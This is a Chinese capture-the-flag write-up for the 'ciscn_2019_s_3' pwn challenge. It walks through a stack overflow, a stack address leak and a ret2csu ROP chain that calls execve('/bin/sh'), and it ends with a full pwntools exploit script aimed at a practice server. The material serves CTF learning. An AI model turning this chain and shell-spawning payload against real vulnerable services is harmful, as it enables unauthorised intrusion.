ciscn_2019_s_3

https://files.buuoj.cn/files/5f9ef7ea96325fa7c9301560afeec679/ciscn_s_3

grxer@Ubuntu16:~/Desktop/pwn$ checksec ciscn_2019_s_3
[*] '/home/grxer/Desktop/pwn/ciscn_2019_s_3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

大体思路

大体上main里只有vuln这一个函数,buf会溢出

.text:00000000004004ED
.text:00000000004004ED ; __unwind {
.text:00000000004004ED 55 push rbp
.text:00000000004004EE 48 89 E5 mov rbp, rsp
.text:00000000004004F1 48 31 C0 xor rax, rax
.text:00000000004004F4 BA 00 04 00 00 mov edx, 400h ; count
.text:00000000004004F9 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf
.text:00000000004004FE 48 89 C7 mov rdi, rax ; fd
.text:0000000000400501 0F 05 syscall ; LINUX - sys_read
.text:0000000000400503 48 C7 C0 01 00 00 00 mov rax, 1
.text:000000000040050A BA 30 00 00 00 mov edx, 30h ; '0' ; count
.text:000000000040050F 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf
.text:0000000000400514 48 89 C7 mov rdi, rax ; fd
.text:0000000000400517 0F 05 syscall ; LINUX - sys_write
.text:0000000000400519 C3 retn
.text:0000000000400519
.text:0000000000400519 vuln endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519 ; ---------------------------------------------------------------------------
.text:000000000040051A 90 db 90h
.text:000000000040051B ; ---------------------------------------------------------------------------
.text:000000000040051B 5D pop rbp
.text:000000000040051C C3 retn

有gadget,看到3b=59系统调用号,#define __NR_execve 59,可以配合syscall起shell

.text:00000000004004D6                               public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 55 push rbp
.text:00000000004004D7 48 89 E5 mov rbp, rsp
.text:00000000004004DA 48 C7 C0 0F 00 00 00 mov rax, 0Fh
.text:00000000004004E1 C3 retn
.text:00000000004004E1
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 48 C7 C0 3B 00 00 00 mov rax, 3Bh ; ';'
.text:00000000004004E9 C3 retn
.text:00000000004004E9
.text:00000000004004E9 ; ---------------------------------------------------------------------------
.text:00000000004004EA 90 db 90h
.text:00000000004004EB ; ---------------------------------------------------------------------------
.text:00000000004004EB 5D pop rbp
.text:00000000004004EC C3 retn

这里我们我们可以从vuln汇编最后ret前没有常规的pop ebp等,只需覆盖到ebp就可以ret到hook函数,同时程序没有/bin/sh string,我们还需要自己构造

vuln函数 mov edx, 30h ; '0'输入0x30字节,我们的buf只是在0x10位置会把ebp给输出来,我们可以利用泄露的ebp,来寻址我们的输入,通过输入构造binsh

泄露ebp

s(b’/bin/sh\x00’.ljust(0x10,b’a’)+p64(ret_fun))

image-20230313004045662

我们泄露0x7ffed29ae428,输入在0x7ffed29ae310。

image-20230313004213386

再次返回vuln函数,泄露地址-0x118,就可以得到输入栈地址

ret2cmu getshell

first way

padding=b’/bin/sh\x00’.ljust(0x10,b’a’)
payload=padding+p64(csu_end)+p64(0)*2+p64(ebp+0x50)+p64(0)*3+p64(csu_front)+p64(mov_rax)+p64(rdi)+p64(ebp)+p64(syscall)

这里我们要execve(“/bin/sh”,0,0)

将sys_execve 的调用号 59 赋值给 rax
将第一个参数即字符串 "/bin/sh"的地址 赋值给 rdi
将第二个参数 0 赋值给 rsi
将第三个参数 0 赋值给 rdx

rax,rdi,rsi 好说

grxer@Ubuntu16 ~/D/pwn> ROPgadget --binary 'ciscn_2019_s_3' --only 'pop|ret'
Gadgets information
============================================================
0x000000000040059c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005a0 : pop r14 ; pop r15 ; ret
0x00000000004005a2 : pop r15 ; ret
0x000000000040059b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400440 : pop rbp ; ret
0x00000000004005a3 : pop rdi ; ret
0x00000000004005a1 : pop rsi ; pop r15 ; ret
0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004003a9 : ret

rdx置零需要cmu


.text:0000000000400580 4C 89 EA mov rdx, r13
.text:0000000000400583 4C 89 F6 mov rsi, r14
.text:0000000000400586 44 89 FF mov edi, r15d
.text:0000000000400589 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:0000000000400589
.text:000000000040058D 48 83 C3 01 add rbx, 1
.text:0000000000400591 48 39 EB cmp rbx, rbp
.text:0000000000400594 75 EA jnz short loc_400580
.text:0000000000400594
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 48 83 C4 08 add rsp, 8
.text:000000000040059A 5B pop rbx
.text:000000000040059B 5D pop rbp
.text:000000000040059C 41 5C pop r12
.text:000000000040059E 41 5D pop r13
.text:00000000004005A0 41 5E pop r14
.text:00000000004005A2 41 5F pop r15
.text:00000000004005A4 C3 retn
.text:00000000004005A4 ; } // starts at 400540

这里我们利用40059A处的rdi,再返回到0400580,可以控制rdx,同时将rbx置零,就会call [r12+rbx*8]里的内容,也就是说这里控制流会被劫持,我们将r12里的内容控制为我们原本要ret的mov_rax即可,只不过这里是call,有意思的就是这里

call mov_ret

image-20230313005704624

call之后会返回到 add rbx,1

这个时候 rbp和rbp一定不相等,再次回到csu_front进行call [r12+rbx*8]=call [r12+8]也就是我们的pop rdi指令

image-20230313005856293

这次的pop rdi 会把call [r12+8] 的返回地址pop掉这样我们ret是执行流回到payload的mov rax上然后正常rop

second way

payload=padding+p64(csu_end)+p64(0)+p64(1)+p64(ebp+0x50)+p64(0)+p64(0)+p64(0)+p64(csu_front)+p64(mov_rax)

payload+=b’a’*48+p64(rdi)+p64(ebp)+p64(syscall)

这里就是用一个常规的ret2cmu,将ebp和rbx去符合cmp rbx, rbp,不跳转的跳转最后再ret到pop rdi的执行流

def csu(rbx,rbp,r12_call,r13_a3,r14_a2,r15_a1,last_ret):#注意第三个参数是call的r12寄存器所存地址里的地址call    qword ptr [r12+rbx*8]
'''
rbx=0
rbp=1
r12= call the address in address
r13= rdx third argument
r14= rsi second argument
r15= edi first argument
last= ret address
'''
payload=padding+fake_rbp+p64(cmu_end)+p64(rbx)+p64(rbp)+p64(r12_call)+p64(r13_a3)+p64(r14_a2)+p64(r15_a1)+p64(cmu_front)
payload+=fake_reg+p64(last_ret)
io.send(payload)
#fake_reg一般56字节
image-20230313011205443 image-20230313011338278

exp

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./ciscn_2019_s_3'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote('node4.buuoj.cn','29483')
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
db('b *0x0400501')
ret_fun=0x04004ED
csu_end = 0x040059A
csu_front = 0x0400580
rdi=0x00000000004005a3
syscall=0x400517
mov_rax=0x4004E2
s(b'/bin/sh\x00'.ljust(0x10,b'a')+p64(ret_fun))
r(0x20)
ebp=u64(r(6).ljust(8,b'\x00'))-0x118
p('ebp',ebp)
padding=b'/bin/sh\x00'.ljust(0x10,b'a')
#first way
payload=padding+p64(csu_end)+p64(0)*2+p64(ebp+0x50)+p64(0)*3+p64(csu_front)+p64(mov_rax)+p64(rdi)+p64(ebp)+p64(syscall)
#second way
# payload=padding+p64(csu_end)+p64(0)+p64(1)+p64(ebp+0x50)+p64(0)+p64(0)+p64(0)+p64(csu_front)+p64(mov_rax)
# payload+=b'a'*48+p64(rdi)+p64(ebp)+p64(syscall)
s(payload)
io.interactive()